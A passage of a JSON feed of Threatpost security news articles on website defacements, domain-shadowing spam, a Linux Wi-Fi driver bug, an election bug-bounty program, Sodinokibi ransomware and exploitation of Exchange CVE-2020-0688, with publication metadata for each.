sites\u2019 video players were still down as of this report.\n\nBoth Cartoon Network UK and Cartoon Network Russia issued short statements [acknowledging](<https://twitter.com/CNUKTweets/status/1122506277224157184>) the issue. In a media statement the network said that \u201csites have been temporarily deactivated\u201d and that IT teams are \u201cworking hard to relaunch the sites.\u201d\n\nThe attack affected Cartoon Network portals for Brazil, the Czech Republic, Denmark, Germany, Hungary, Italy, Mexico, the Middle East and Africa (MENA), the Netherlands, Norway, Poland, Romania, Russia, Turkey and the UK, according to reports from the Twitterverse.\n\n> About 6+ hours ago someone hacked most of the Cartoon Network websites (by language) and replaced them with random shit.\n> \n> List of countries that have been targeted: \n> \n> UK \nHungary \nRomania \nGerman \nRussia \nPoland \nCzech \nDenmark \nArabic \nNorway \nNetherlands \nItaly \nTurkey \nAfrican [pic.twitter.com/anRB2PnP2g](<https://t.co/anRB2PnP2g>)\n> \n> \u2014 Flor Geneva (@Fl0r_Geneva) [April 28, 2019](<https://twitter.com/Fl0r_Geneva/status/1122420981681872896?ref_src=twsrc%5Etfw>)\n\nTypically, website defacement is carried out for political/hacktivist/vendetta purposes, but it\u2019s unclear why the Turner-owned network, home to kids\u2019 hits like Adventure Time, would be a target in this case. The last high-profile defacement came when hackers [infiltrated a Wall Street Journal webpage](<https://threatpost.com/wsj-hacked-pewdiepie/140035/>) in an attempt to promote YouTube celebrity \u201cPewDiePie\u201d (given name Felix Kjellberg), who had come under fire for in the pages of the WSJ for what the outlet termed anti-Semitic behavior.\n\nTaking aim at media targets could be a new trend as well; in April, the Weather Channel\u2019s linear TV feed [was knocked offline](<https://threatpost.com/weather-channel-off-air-hack/143936/>) by a cyberattack \u2013 again, no motive was apparent.\n", "cvss3": {}, "published": "2019-05-01T15:32:40", "type": "threatpost", "title": "Cartoon Network Hacked Worldwide to Show Brazilian Stripper Videos", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-05-01T15:32:40", "id": "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "href": "https://threatpost.com/cartoon-network-hacked/144263/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:04:44", "description": "Researchers at the security firm Palo Alto Networks worked with domain registrar and web hosting firm GoDaddy to shut down 15,000 subdomains pitching \u2018snake oil\u2019 products and other scams. The takedowns are linked to affiliate marketing campaigns peddling everything from weight-loss solutions and brain-enhancement pills.\n\nThose behind the spam campaigns used a technique called domain-shadowing, and they were able to compromise thousands of servers and abuse hundreds of domains and website admin account credentials, according to researchers.\n\nSpam campaigns associated with these subdomain takeovers date back to 2017. Links in messages pointed to subdomains of websites, which unknowingly hosted the product pitches that were backed by bogus endorsements purporting to be from the likes of Stephen Hawking, Jennifer Lopez and Gwen Stefani.\n\n\u201cOn a scale of one to 10 for the \u2018worst types of spam\u2019 you can receive, approaching that perfect 10 score is spam related to \u2018snake oil\u2019 products that are so patently fake that you struggle to understand why they would even bother trying to sell it,\u201d wrote Jeff White, senior threat researcher at Palo Alto Networks, [in a blog post outlining the takedown](<https://unit42.paloaltonetworks.com/takedowns-and-adventures-in-deceptive-affiliate-marketing/>).\n\n[![Farticle or Fraudulent Article ](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/26131443/Figure-13-TMZ-pre-sell-page-300x298.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/26131443/Figure-13-TMZ-pre-sell-page.png>)\n\nExample of a \u201cfarticle\u201d extolling the merits of a dubious pill, solution or potion. Farticle is a term used to describe a fraudulent article. (Click to Enlarge)\n\nWhite investigated and traced the links in the spam messages to an elaborate URL redirection chain that eventually dumped users on the fake products\u2019 landing pages. The redirections, researchers discovered, were leveraging compromised servers. To help obfuscate the sketchy behavior, spammer also used a [Caesar cipher](<http://www.practicalcryptography.com/ciphers/caesar-cipher/>) (a simple substitution code) and a hypertext preprocessor (PHP) file for handling the redirections.\n\n\u201cThe [Caesar cipher] injection is using .php files on compromised sites to drive traffic to fraudulent and/or scam pages,\u201d [according to a researcher at PassiveTotal](<https://www.riskiq.com/blog/labs/caesarv/>) that White consulted with during his investigation. \u201c[These included] fake tech support and fake sites purporting to be news sites, reporting on the incredible effects of weight-loss and intelligence pills.\u201d\n\nNext, White determined that the redirection sites and those that hosted the spam pitches were using legitimate registrant accounts in a technique called domain-shadowing. That\u2019s when attackers use stolen domain registrant credentials to create massive lists of subdomains, which are used in quickly rotating fashion to either redirect victims to attack sites, or to serve as hosts for malicious payloads. This technique is considered an evolution of [fast-flux](<https://threatpost.com/operation-high-roller-banked-fast-flux-botnet-steal-millions-102412/77150/>), where malicious elements are moved from place to place rapidly, in an effort to stay ahead of detection.\n\n\u201cIt would seem likely that the person(s) behind [the campaigns] were going about it in an automated fashion, logging into these legitimate domain accounts and using a dictionary of simple English words to create subdomains pointing to their redirector,\u201d said the researcher.\n\nThis isn\u2019t the first time GoDaddy has had to deal domain-shadowing used to link to malicious activity. Over the years the approach has been used to distribute [everything from the Angler Exploit Kit](<https://threatpost.com/domain-shadowing-latest-angler-exploit-kit-evasion-technique/111396/>) to [the RIG Exploit Kit](<https://threatpost.com/40000-subdomains-tied-to-rig-exploit-kit-shut-down/126072/>).\n\nWhile in White\u2019s case the payload wasn\u2019t malware, but rather affiliate marketing scams, he warned of the malicious nature of those behind the spam campaigns: \u201cThere are a lot of players in the affiliate marketing world, from the affiliates to the merchants and all of the networks in-between,\u201d he said. \u201cHopefully this blog helps to shine some light on how at every link in this chain there are shady, sometimes illegal and almost always deceptive business practices still being employed, to scam hard working people out of their money.\u201d\n", "cvss3": {}, "published": "2019-04-26T17:47:01", "type": "threatpost", "title": "GoDaddy Shutters 15,000 Subdomains Tied to 'Snake Oil' Scams", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11043", "CVE-2020-0688"], "modified": "2019-04-26T17:47:01", "id": "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "href": "https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:30:33", "description": "A critical Linux bug has been discovered that could allow attackers to fully compromise vulnerable machines. A fix has [been proposed](<https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg2132949.html>) but has not yet been incorporated into the Linux kernel.\n\nThe flaw ([CVE-2019-17666](<https://nvd.nist.gov/vuln/detail/CVE-2019-17666>)), which was [classified as critical](<https://vuldb.com/?id.143835>) in severity, exists in the \u201crtlwifi\u201d driver, which is a software component used to allow certain Realtek Wi-Fi modules, used in Linux devices, to communicate with the Linux operating system.\n\nSpecifically, the driver is vulnerable to a [buffer overflow](<https://cwe.mitre.org/data/definitions/122.html>) attack, where a buffer (a region in physical memory storage used to temporarily store data while it is being moved) is allocated in the heap portion of memory (a region of process\u2019s memory which is used to store dynamic variables). That excess data in turn corrupts nearby space in memory and could alter other data, opening the door for malicious attacks. This specific flaw could enable attackers to launch a variety of attacks \u2013 from crashing vulnerable Linux machines to full takeover.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe bug is serious\u2026 if an attacker is currently using that Realtek driver (rtlwifi), then it\u2019s vulnerable to this bug and someone on a wireless distance range can potentially attack him,\u201d Nico Waisman, principal security engineer at Github, who discovered the bug and posted his findings [Thursday on Twitter](<https://twitter.com/nicowaisman/status/1184864519316758535?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1184864519316758535&ref_url=https%3A%2F%2Fkasperskycontenthub.com%2Fthreatpost-global%2Fwp-admin%2Fpost.php%3Fpost%3D149325%26action%3Dedit>), told Threatpost.\n\n> Found this bug on Monday. An overflow on the linux rtlwifi driver on P2P (Wifi-Direct), while parsing Notice of Absence frames. \nThe bug has been around for at least 4 years <https://t.co/rigXOEId29> [pic.twitter.com/vlVwHbUNmf](<https://t.co/vlVwHbUNmf>)\n> \n> \u2014 Nico Waisman (@nicowaisman) [October 17, 2019](<https://twitter.com/nicowaisman/status/1184864519316758535?ref_src=twsrc%5Etfw>)\n\nThe vulnerable piece of the rtlwifi driver is a feature called the Notice of Absence protocol. This protocol helps devices autonomously power down their radio to save energy. The flaw exists in how the driver handles Notice of Absence packets: It does not check certain packets for a compatible length, so an attacker could add specific information elements that would cause the system to crash.\n\nAccording to Waisman, to exploit the flaw an attacker would send a \u201cmalicious\u201d packet that will trigger the vulnerability on the Linux machine. This can be done if the attacker is within radio range of the vulnerable device. There is no need for an attacker to have any sort of authentication, he said.\n\nThe flaw can be exploited to trigger various attacks, he added.\n\n\u201cThe vulnerability triggers an overflow, which means it could make Linux crash or if a proper exploit is written (which is not trivial), an attacker could obtain remote code-execution,\u201d Waisman told Threatpost.\n\nVersions through 5.3.6 of the Linux kernel operating system are impacted \u2014 and researchers said it has been in existence for four years before discovery. In response, the Linux kernel team has [developed a patch](<https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg2132949.html>) which is currently under revision but has not yet been incorporated into the Linux kernel.\n\nRealtek did not respond to a request for comment from Threatpost.\n\n**_What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-18T15:55:37", "type": "threatpost", "title": "Four-Year-Old Critical Linux Wi-Fi Bug Allows System Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-17666", "CVE-2020-0688"], "modified": "2019-10-18T15:55:37", "id": "THREATPOST:EA093948BFD7033F5C9DB5B3199BEED4", "href": "https://threatpost.com/critical-linux-wi-fi-bug-system-compromise/149325/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:24:12", "description": "As the 2020 presidential election draws closer and primary season looms around the corner, Microsoft has launched a bug-bounty program specifically aimed at its ElectionGuard product, which the software giant has positioned as performing \u201cend-to-end verification of elections.\u201d\n\nElectionGuard is a free open-source software development kit that secures the results of elections and makes those results securely available to approved third-party organizations for validation; it also allows individual voters to confirm that their votes were correctly counted.\n\nThe bounty program invites security researchers (\u201cwhether full-time cybersecurity professionals, part-time hobbyists or students\u201d) to probe ElectionGuard for high-impact vulnerabilities and share them with Microsoft under Coordinated Vulnerability Disclosure (CVD). Eligible submissions with a \u201cclear, concise proof of concept\u201d (PoC) are eligible for awards ranging from $500 to $15,000 depending on the severity of the bug found.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIn-scope products include the ElectionGuard specification and documentation (such as data-transmission issues like information leakage); the verifier reference implementation (bugs that allow attackers to say elections are valid when they aren\u2019t); and C Cryptography implementations (such as bugs that allow key or vote discovery by observing SDK messages).\n\nThe program is one prong of the company\u2019s wider \u201cDefending Democracy\u201d program, under which Microsoft has pledged to [protect campaigns from hacking](<https://threatpost.com/fbi-dhs-report-links-fancy-bear-to-election-hacks/122802/>); increase political [advertising transparency](<https://threatpost.com/google-fine-privacy-gdpr/141055/>) online; explore ways to [protect electoral processes](<https://threatpost.com/voting-machines-hacked-with-ease-at-def-con/127101/>) with technology; and defend against [disinformation campaigns](<https://threatpost.com/twitter-5000-accounts-disinformation-campaigns/145764/>).\n\nResearchers said that the bug-bounty program is a welcome \u2013 if limited \u2013 addition to the private sector\u2019s response to election meddling. However, they also highlighted the need for a more holistic effort, united across both public and private organizations.\n\n\u201c[Russian interference in the 2016 election](<https://threatpost.com/justice-department-indicts-12-russian-nationals-tied-to-2016-election-hacking/133978/>) gave cybersecurity a quick moment in the political spotlight,\u201d Monique Becenti, product and channel specialist at SiteLock, told Threatpost. \u201cBut when the cost of cybercrime reaches billions of dollars each year, election security needs to be top of mind for our political leaders. Since 2016, election security bills have been slow-moving. Some companies, like Microsoft, are rallying the security industry to address this issue head-on. The ElectionGuard Bounty program is an important step in the right direction, but we need political leaders who will champion this issue and ensure constituents and our elections stay secure.\u201d\n\nNot everyone is excited about the move; Richard Gold, head of security engineering at Digital Shadows, said that the program is limited to Microsoft\u2019s proprietary solution, which makes its real-world impact limited at best.\n\n\u201cIt\u2019s great that companies like Microsoft are launching programs like this, but the question remains: how much is this kind of bug bounty going to be used?\u201d he told Threatpost. \u201cBug-bounty programs need to be applied consistently in order to have real impact. There is a trade off in time and resources that needs to be overcome in order for a program like this to be worthwhile.\u201d\n\n\u201cMicrosoft is committed to strengthening our partnership with the security research community as well as pursuing new areas for security improvement in emerging technology,\u201d said Jarek Stanley, senior program manager at the Microsoft Security Response Center, in [announcing the program](<https://msrc-blog.microsoft.com/2019/10/18/introducing-the-electionguard-bounty-program/>). \u201cWe look forward to sharing more bounty updates and improvements in the coming months.\u201d\n\nMicrosoft paid $4.4 million in bounty rewards between July 1, 2018 and June 30 across 11 bounty programs, with a top award of $200,000.\n\n**_What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-18T20:04:29", "type": "threatpost", "title": "Microsoft Tackles Election Security with Bug Bounties", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-1472"], "modified": "2019-10-18T20:04:29", "id": "THREATPOST:891CC19008EEE7B8F1523A2BD4A37993", "href": "https://threatpost.com/microsoft-election-security-bug-bounties/149347/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:51", "description": "A recently-disclosed critical vulnerability in Oracle WebLogic is being actively exploited in a slew of attacks, which are distributing a never-before-seen ransomware variant.\n\nThe recently-patched flaw exists in Oracle\u2019s WebLogic server, used for building and deploying enterprise applications. The deserialization vulnerability ([CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>)\u200b) is being exploited to spread what researchers with Cisco Talos in a [Tuesday analysis](<https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html>) dubbed the \u201cSodinokibi\u201d ransomware.\n\n\u201cThis is the first time we have seen this ransomware being used in the wild,\u201d Jaeson Schultz, technical leader, at Cisco Talos, told Threatpost. \u201cThis new ransomware first emerged on April 26. Part of what makes this ransomware stick out is the fact that attackers were using a 0-day vulnerability to install it. Talos is continuing to analyze the ransomware itself. It\u2019s obfuscated and there are several anti-analysis tricks.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe critical flaw, which has a CVSS score of 9.8, is a remote code execution bug that is remotely exploitable without authentication. Impacted are versions 10.3.6.0.0 and 12.1.3.0.0 of the product. The flaw was patched on April 26 \u2013 but researchers said that attackers have been exploiting the flaw since April 21.\n\n\u201cDue to the severity of this vulnerability, Oracle recommends that this Security Alert be applied as soon as possible,\u201d Eric Maurice, director of security assurance at Oracle, said in a [recent post](<https://blogs.oracle.com/security/security-alert-cve-2019-2725-released>) about the vulnerability.[![oracle weblogic critical flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30140000/oracle-weblogic-flaw-300x50.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30140000/oracle-weblogic-flaw.png>)\n\nThe ransomware first came onto researchers\u2019 radar on April 25 (the day before a patch was released), after attackers attempted to make an HTTP connection with a vulnerable Oracle WebLogic server.\n\nWhile Cisco Talos researchers would not disclose further details to Threatpost regarding the victim of this particular ransomware attack \u2013 such as the company size or industry \u2013 they said they do think multiple victims are being targeted.\n\n\u201cAttackers were ultimately successful at encrypting a number of customer systems during this incident,\u201d they said.\n\nWhile typically ransomware variants require some form of user interaction \u2013 such as opening an attachment to an email message or clicking on a malicious link, this incident was abnormal as attackers simply leveraged the Oracle WebLogic vulnerability, researchers said.\n\n[![oracle weblogic ransomware note](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30135836/ransomware-note-300x242.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30135836/ransomware-note.png>)\n\nRansomware Note\n\nOnce attackers found a vulnerable server, they sent an HTTP POST request to that server. The request contained a PowerShell command, which downloaded a file called \u201cradm.exe.\u201d That then saved the ransomware locally and executed it.\n\nOnce downloaded, the ransomware encrypted the victim\u2019s systems and displayed a ransom note to them, directing victims to a page on the Tor network to a domain (decryptor[.]top) the public web, which was registered on March 31 this year.\n\nAfter victims visited said pages, they were directed to create a Bitcoin wallet and purchase $2500 (USD) worth of Bitcoin. They then were directed to transfer the Bitcoin to an address provided by the attackers. After the transaction is confirmed on the Blockchain, the attackers updates the page with a link to download the decryptor, researchers told Threatpost.\n\nResearchers also noted that, once downloaded, the malicious file executed \u200bvssadmin.exe, a legitimate utility bundled with Windows that enables allows administrators to manage the shadow copies that are on the computer. Shadow copies are a technology that enables systems to take automatic backup copies of computer files.\n\nBecause attackers executed this feature, it allows them to access and delete the automatic backups \u2013 making it harder for victims to recover their data: \u201cThis action\u200b is a common [tactic] of ransomware to prevent users from easily recovering their data,\u201d researchers said. \u201cIt attempts to delete default Windows backup mechanisms, otherwise known as \u2018shadow copies,\u2019 to prevent recovery of the original files from these backups.\u201d\n\nWhile researchers told Threatpost they\u2019re not sure who is behind the attack, they did note that after the ransomware deployment, attackers followed up with an additional exploit attempt (of the CVE-2019-2725 vulnerability) approximately eight hours later.\n\nInterestingly, this attack utilized the infamous [Gandcrab ransomware](<https://threatpost.com/tag/gandcrab-ransomware/>) (v5.2), making researchers believe that the attacker is a Gandcrab ransomware affiliate member, Schultz told Threatpost.\n\n\u201cWe find it strange the attackers would choose to distribute additional, different ransomware on the same target,\u201d researchers said. \u201cSodinokibi being a new flavor of ransomware, perhaps the attackers felt their earlier attempts had been unsuccessful and were still looking to cash in by distributing Gandcrab.\u201d\n\nLooking forward, researchers said that they expect attacks on Oracle\u2019s WebLogic servers to increase, and urge users to update immediately. This flaw was not part of Oracle\u2019s regularly-scheduled quarterly patch earlier in [April](<https://threatpost.com/oracle-squashes-53-critical-bugs-in-april-security-update/143845/>), where it fixed 53 other critical vulnerabilities in Oracle products.\n\n\u201cDue to the ubiquity of Oracle WebLogic servers and the ease of exploitation of this vulnerability, Talos expects widespread attacks involving CVE-2019-2725,\u201d they said.\n", "cvss3": {}, "published": "2019-04-30T19:20:13", "type": "threatpost", "title": "New 'Sodinokibi' Ransomware Exploits Critical Oracle WebLogic Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-2725", "CVE-2020-0688"], "modified": "2019-04-30T19:20:13", "id": "THREATPOST:4DD624E32718A8990263A37199EEBD02", "href": "https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:11:08", "description": "Over half of exposed Exchange servers are still vulnerable to a severe bug that allows authenticated attackers to execute code remotely with system privileges \u2013 even eight months after Microsoft issued a fix.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\nHowever, new telemetry found that out of 433,464 internet-facing Exchange servers observed, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers are still vulnerable to the flaw.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThere are two important efforts that Exchange administrators and infosec teams need to undertake: verifying deployment of the update and checking for signs of compromise,\u201d said Tom Sellers with Rapid7 [in a Tuesday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\n> Speaking of Exchange, we took another look at Exchange CVE-2020-0688 (any user -> SYSTEM on OWA). \n> \n> It's STILL 61% unpatched. \n> \n> This is dangerous as hell and there is a reliable Metasploit module for it.\n> \n> See the UPDATED information on the ORIGINAL blog:<https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [September 29, 2020](<https://twitter.com/TomSellers/status/1310991824828407808?ref_src=twsrc%5Etfw>)\n\nResearchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed APT actors. Attacks [first started in late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks, post-exploitation.\n\n[Previously, in April](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>), Rapid7 researchers found that more than 80 percent of servers were vulnerable; out of 433,464 internet-facing Exchange servers observed, at least 357,629 were open to the flaw (as of March 24). Researchers used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw.\n\n[![microsoft exchange RCE flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/30094515/cve-2020-0688_vulnerability_status-225x300.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/30094515/cve-2020-0688_vulnerability_status.png>)\n\nExchange build number distribution status for flaw. Credit: Rapid7\n\nSellers urged admins to verify that an update has been deployed. The most reliable method to do so is by checking patch-management software, vulnerability-management tools or the hosts themselves to determine whether the appropriate update has been installed, he said.\n\n\u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled,\u201d he said. \u201cThis will typically be servers with the Client Access Server (CAS) role, which is where your users would access the Outlook Web App (OWA).\u201d\n\nWith the ongoing activity, admins should also determine whether anyone has attempted to exploit the vulnerability in their environment. The exploit code that Sellers tested left log artifacts in the Windows Event Log and the IIS logs (which contain HTTP server API kernel-mode cache hits) on both patched and unpatched servers: \u201cThis log entry will include the compromised user account, as well as a very long error message that includes the text invalid viewstate,\u201d he said.\n\nAdmins can also review their IIS logs for requests to a path under /ecp (usually /ecp/default.aspx), Sellers said, These should contain the string __VIEWSTATE and __VIEWSTATEGENERATOR \u2013 and will have a long string in the middle of the request that is a portion of the exploit payload.\n\n\u201cYou will see the username of the compromised account name at the end of the log entry,\u201d he said. \u201cA quick review of the log entries just prior to the exploit attempt should show successful requests (HTTP code 200) to web pages under /owa and then under /ecp.\u201d\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.\n", "cvss3": {}, "published": "2020-09-30T14:34:00", "type": "threatpost", "title": "Microsoft Exchange Servers Still Open to Actively Exploited Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-5135"], "modified": "2020-09-30T14:34:00", "id": "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "href": "https://threatpost.com/microsoft-exchange-exploited-flaw/159669/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:23:09", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": 